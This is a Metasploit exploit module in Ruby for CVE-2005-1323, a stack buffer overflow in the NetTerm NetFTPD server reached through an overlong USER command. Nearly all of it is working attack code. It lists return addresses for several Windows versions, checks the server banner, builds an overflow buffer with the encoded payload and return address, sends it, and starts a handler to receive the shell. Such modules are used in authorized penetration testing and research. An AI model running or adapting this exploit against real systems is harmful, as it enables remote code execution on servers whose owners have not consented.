NetTerm NetFTPD USER Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'NetTerm NetFTPD USER Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerability in the NetTerm NetFTPD  
application. This package is part of the NetTerm package.  
This module uses the USER command to trigger the overflow.   
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-1323'],  
[ 'OSVDB', '15865'],  
[ 'URL', 'http://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],  
[ 'BID', '13396'],  
  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0a\x20\x0d",  
'StackAdjustment' => -3500,  
  
},  
  
'Targets' =>   
[  
[   
'NetTerm NetFTPD Universal', # Tested OK - hdm 11/24/2005  
{  
'Platform' => 'win',  
'Ret' => 0x0040df98, # netftpd.exe (multiple versions)  
},  
],  
[   
'Windows 2000 English',  
{  
'Platform' => 'win',  
'Ret' => 0x75022ac4, # ws2help.dll  
},  
],  
[   
'Windows XP English SP0/SP1',  
{  
'Platform' => 'win',  
'Ret' => 0x71aa32ad, # ws2help.dll  
},  
],  
[   
'Windows 2003 English',  
{  
'Platform' => 'win',  
'Ret' => 0x7ffc0638, # peb magic :-)  
},  
],  
[   
'Windows NT 4.0 SP4/SP5/SP6',  
{  
'Platform' => 'win',  
'Ret' => 0x77681799, # ws2help.dll  
},  
],   
],  
'DisclosureDate' => 'Apr 26 2005',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect   
if (banner =~ /NetTerm FTP server/)  
return Exploit::CheckCode::Vulnerable  
end   
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
print_status("Trying target #{target.name}...")  
  
# U push ebp  
# S push ebx  
# E inc ebp  
# R push edx  
# \x20\xC0 and al, al  
  
buf = rand_text_english(8192, payload_badchars)  
buf[0, 1] = "\xc0"  
buf[1, payload.encoded.length] = payload.encoded  
buf[1014, 4] = [ target.ret ].pack('V')  
  
send_cmd( ["USER #{buf}"] )  
send_cmd( ['HELP'] )  
  
handler  
disconnect  
end  
  
end  
`